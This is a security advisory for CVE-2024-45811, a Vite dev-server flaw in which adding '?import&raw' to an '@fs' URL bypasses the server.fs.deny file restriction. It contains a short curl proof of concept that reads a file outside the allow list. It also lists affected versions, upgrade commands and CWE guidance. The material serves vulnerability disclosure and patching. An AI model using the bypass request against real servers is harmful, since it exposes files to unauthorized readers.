GHSA-9cwx-2883-4wfx CVE-2024-45811

Vite's `server.fs.deny` is bypassed when using `?import&raw`

Medium npm

Severity: 0.0 / 10; Medium · CVSS 4.0
Exploit chance (EPSS): 1.10%; Chance of exploitation in the next 30 days. Higher than 65.58% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor; CWE-284 Improper Access Control
Fix: 5.4.6; Upgrade vite to this version or later

Description

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

Affected versions

npm

Package	Vulnerable	Fixed in
vite	`>= 5.4.0, < 5.4.6`	`5.4.6`
vite	`>= 5.3.0, < 5.3.6`	`5.3.6`
vite	`>= 5.2.0, < 5.2.14`	`5.2.14`
vite	`>= 4.0.0, < 4.5.4`	`4.5.4`
vite	`< 3.2.11`	`3.2.11`
vite	`>= 5.0.0, < 5.1.8`	`5.1.8`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vite npm → `5.4.6`

npm

npm install vite@5.4.6

yarn

yarn add vite@5.4.6

pnpm

pnpm add vite@5.4.6

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Attack vector: Network
Attack complexity: Low
Attack requirements: None
Privileges required: None
User interaction: None
Confidentiality (vulnerable system): Low
Integrity (vulnerable system): None
Availability (vulnerable system): None
Confidentiality (subsequent systems): None
Integrity (subsequent systems): None
Availability (subsequent systems): None

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Attack vector: Network
Attack complexity: Low
Privileges required: None
User interaction: None
Scope: Unchanged
Confidentiality: Low
Integrity: None
Availability: None

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it

Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-284: Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

How to prevent it

Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

References

Advisories

nvd.nist.gov/vuln/detail/CVE-2024-45811

Packages

github.com/vitejs/vite

Timeline

Sep 17, 2024 Published
Sep 10, 2026 Last updated by the source
Oct 31, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-4r4m-qw57-chr8 Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query	High Known exploited	Also affects vite
GHSA-8g5g-mxqh-grgj Vite: `server.fs.deny` bypassed with queries	Medium	Also affects vite
GHSA-vfpm-58rq-9qcg Vite: First 4 bytes of files outside of `server.fs` setting is exposed by `?vite-wasm-instance`	Medium	Also affects vite
GHSA-rq7h-c2jc-7f22 Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine	Medium	Also affects vite
GHSA-9jrq-w75r-8gcw Vite: Cross origin script execution through Vite custom middleware	Low	Also affects vite
GHSA-r825-w8mm-5pxw launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors	Medium	Also affects vite
GHSA-698v-4r3x-3vcv launch-editor: escapeCmdArgs() omits % escaping on Windows	Medium	Also affects vite
GHSA-587h-7wmj-h5pm launch-editor: `fs.existsSync()` existence check can be bypassed on Windows	High	Also affects vite

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